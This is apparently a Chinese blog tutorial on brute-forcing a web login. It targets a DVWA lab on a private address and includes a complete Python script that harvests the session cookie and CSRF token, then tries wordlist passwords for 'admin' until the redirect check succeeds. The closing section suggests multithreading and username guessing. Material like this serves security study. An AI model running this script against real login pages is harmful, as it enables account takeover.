python之WEB登录密码暴力破解


原理:利用字典爆破进行破解

实验环境:本机Win10(python3.7环境)、虚拟机Win2003(搭建DVWA网站)

工具:火狐浏览器、Burp Suite

实现步骤:

       1、获取正常登录时需要提交的数据信息。

         Burp Suite开启抓包,浏览器范文Dvwa登录页面,按F12开启网络数据查看器,登录dvwa.

python之WEB登录密码暴力破解_第1张图片

可知:username、password、Login、user_token  这四个是登录必须提交的,除此之外还必须要附带服务器所给的cookie。

总共5个数据。

整个数据包如下:

python之WEB登录密码暴力破解_第2张图片

也就是需要构建和上图一样需求和格式的Request数据包(Burp Suite查看请求包)

       2、使用Python编写WEB请求数据包

# -*- coding: utf-8 -*-
"""
参考博客:
Created on Sat Oct  6 17:01:15 2018
@author: 小谢
"""
import urllib
import requests
from bs4 import BeautifulSoup
 
##第一步,先访问 http://172.16.90.101/dvwa/login.php页面,获得服务器返回的cookie和token
def get_cookie_token():
    headers={'Host':'172.16.90.101',
             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
             'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
             'Connection':'keep-alive',
             'Upgrade-Insecure-Requests':'1'}
    res=requests.get("http://172.16.90.101/dvwa/login.php",headers=headers)
    cookies=res.cookies
    a=[(';'.join(['='.join(item)for item in cookies.items()]))]   ## a为列表,存储cookie和token
    html=res.text
    soup=BeautifulSoup(html,"html.parser")
    token=soup.form.contents[3]['value']
    a.append(token)
    return a
 
 
##第二步模拟登陆
def Two(password,a):
    headers={'Host':'172.16.90.101',
             'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
             'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
             'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
             'Connection':'keep-alive',
             'Content-Length':'88',
             'Content-Type':'application/x-www-form-urlencoded',
             'Upgrade-Insecure-Requests':'1',
             'Cookie':a[0],
             'Referer':'http://172.16.90.101/dvwa/login.php'}
    values={'username':'admin',
            'password':password,
            'Login':'Login',
            'user_token':a[1]
        }
    data=urllib.parse.urlencode(values)
    resp=requests.post("http://172.16.90.101/dvwa/login.php",data=data,headers=headers)
    return 


def Three():
#重定向到index.php
    headers={'Host':'172.16.90.101',
         'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0',
         'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
         'Accept-Lanuage':'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
         'Connection':'keep-alive',
         'Upgrade-Insecure-Requests':'1',
         'Cookie':a[0],
         'Referer':'http://172.16.90.101/dvwa/login.php'}
    response=requests.get("http://172.16.90.101/dvwa/index.php",headers=headers,allow_redirects=False)
    statu = response.status_code
    return statu

wordList = open('passwordList.txt','r')
passwords = wordList.readlines()
for password in passwords:
    password = password.strip()
    a = get_cookie_token()        #步骤一
    Two(password,a)                #步骤二
    statu = Three()                #步骤三
    if(statu == 200):
        print("[*]测试密码:"+password+" 正确\t"+str(statu))
        break
    else:
        print("[-]测试密码:"+password+" 错误\t"+str(statu))
wordList.close()
if(statu != 200):
    print("------密码爆破失败------")

"""
需要一个passwordList.txt密码文档
格式为:
password1
password2
......
"""





python之WEB登录密码暴力破解_第3张图片

上诉代码的执行步骤:

第一步:先访问DVWA的登录页面(login.php),获取服务器返回的cookie和token(代码就不详说明)

第二步:构建Request数据包模拟登录DVWA,此脚本是参照别人的博客模拟登录,我把它稍加修改成密码爆破,

              如有需要请自行查找他的博客

第三步:重定向,为了判断提交数据后是否登录成功,成功则可以获取登录成功的index页面(注意代码细节)


总结:

理解掌握HTTP的运行过程,构建发送HTTP数据包。

暴力破解无非是不断尝试账号密码,因为机器每秒的执行次数元超乎人的操作次数,所以暴力破解成为了可能。

上诉脚本存在不足之处:

       1、cookie是倍写死的,一个正常的的网站一般cookie都是会变化的

       2、可以使用多线程加快运行效率

       3、账号是已知的,一般情况下我们尝试登陆一个是否存在的用户时,网站并不会告诉我们账号是否存在,当然一些安全性不好的网站例外。(若是账号也进行破解的话,需要很大的工程,也需要一定的算法)

 

你可能感兴趣的:(python之WEB登录密码暴力破解)